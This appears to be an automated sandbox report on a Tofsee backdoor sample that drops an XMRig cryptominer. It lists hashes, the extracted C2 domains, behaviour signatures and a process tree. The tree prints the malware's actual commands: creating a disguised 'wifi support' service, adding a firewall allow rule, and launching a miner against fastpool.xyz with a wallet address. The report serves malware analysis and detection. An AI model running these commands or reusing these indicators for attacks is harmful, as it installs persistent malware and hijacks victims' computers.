Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    20/09/2023, 14:52

General

  • Target

    file.exe

  • Size

    247KB

  • MD5

    3328793f665d3e51eeca5260d1195fbf

  • SHA1

    f191ed5dd9dca8219374d46d26158e29f3823aaf

  • SHA256

    0369d0ab29f34ccf79c97a500ec1b0ba18accbed470c141c89a9822948521ddd

  • SHA512

    843e7fd0e926218c4b09b20f08602340977cf7392fbf3a959a76c6d944466c91a614ef5b5f409db43300f356686441003a94f79772b5f6bc14372dc54bfc44e5

  • SSDEEP

    3072:szHKDWLJDcWbMrp/0swheDZbsGxTQdtTP:xDWLJ5bg/aIFsGxTQd

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2544
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\abqlpig\
      2⤵
        PID:2556
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pnckdtok.exe" C:\Windows\SysWOW64\abqlpig\
        2⤵
          PID:2604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create abqlpig binPath= "C:\Windows\SysWOW64\abqlpig\pnckdtok.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description abqlpig "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start abqlpig
          2⤵
          • Launches sc.exe
          PID:2760
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2240
      • C:\Windows\SysWOW64\abqlpig\pnckdtok.exe
        C:\Windows\SysWOW64\abqlpig\pnckdtok.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2492
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2480
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:912

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\pnckdtok.exe

              Filesize

              10.6MB

              MD5

              086ec8551e9e24ff328405636398d1fd

              SHA1

              12d1420c3683d83f8804445c01919a65f509e0ec

              SHA256

              cde67c3d455b93c62182c99fb9fcff19bd513bb380745c8f215b7f55e168e189

              SHA512

              5bb6fd811aef3e3ab31ba9d737a85742247a3fde66725b1a1a676d226f31ab6f36d0c1d99b5d5cf83ed7f193dc1b61cd521b356179b2ae69882f1b13fc9c3d3b

            • C:\Windows\SysWOW64\abqlpig\pnckdtok.exe

              Filesize

              10.6MB

              MD5

              086ec8551e9e24ff328405636398d1fd

              SHA1

              12d1420c3683d83f8804445c01919a65f509e0ec

              SHA256

              cde67c3d455b93c62182c99fb9fcff19bd513bb380745c8f215b7f55e168e189

              SHA512

              5bb6fd811aef3e3ab31ba9d737a85742247a3fde66725b1a1a676d226f31ab6f36d0c1d99b5d5cf83ed7f193dc1b61cd521b356179b2ae69882f1b13fc9c3d3b

            • memory/912-62-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/912-77-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/912-76-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/912-75-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/912-74-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/912-73-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/912-71-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/912-72-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/912-63-0x0000000000230000-0x0000000000321000-memory.dmp

              Filesize

              964KB

            • memory/2480-37-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-43-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2480-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2480-22-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2480-23-0x0000000001A30000-0x0000000001C3F000-memory.dmp

              Filesize

              2.1MB

            • memory/2480-26-0x0000000001A30000-0x0000000001C3F000-memory.dmp

              Filesize

              2.1MB

            • memory/2480-27-0x0000000000190000-0x0000000000196000-memory.dmp

              Filesize

              24KB

            • memory/2480-30-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-33-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-34-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-35-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-36-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2480-38-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-39-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-40-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-41-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-42-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2480-44-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-45-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-46-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-48-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-47-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-49-0x0000000000350000-0x0000000000360000-memory.dmp

              Filesize

              64KB

            • memory/2480-50-0x0000000000360000-0x0000000000365000-memory.dmp

              Filesize

              20KB

            • memory/2480-53-0x0000000000360000-0x0000000000365000-memory.dmp

              Filesize

              20KB

            • memory/2480-54-0x00000000058E0000-0x0000000005CEB000-memory.dmp

              Filesize

              4.0MB

            • memory/2480-57-0x00000000058E0000-0x0000000005CEB000-memory.dmp

              Filesize

              4.0MB

            • memory/2480-58-0x00000000004B0000-0x00000000004B7000-memory.dmp

              Filesize

              28KB

            • memory/2480-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2492-17-0x0000000000400000-0x000000000070C000-memory.dmp

              Filesize

              3.0MB

            • memory/2492-11-0x0000000000400000-0x000000000070C000-memory.dmp

              Filesize

              3.0MB

            • memory/2492-10-0x0000000000780000-0x0000000000880000-memory.dmp

              Filesize

              1024KB

            • memory/2544-1-0x0000000000820000-0x0000000000920000-memory.dmp

              Filesize

              1024KB

            • memory/2544-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2544-6-0x0000000000400000-0x000000000070C000-memory.dmp

              Filesize

              3.0MB

            • memory/2544-3-0x0000000000400000-0x000000000070C000-memory.dmp

              Filesize

              3.0MB

            • memory/2544-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB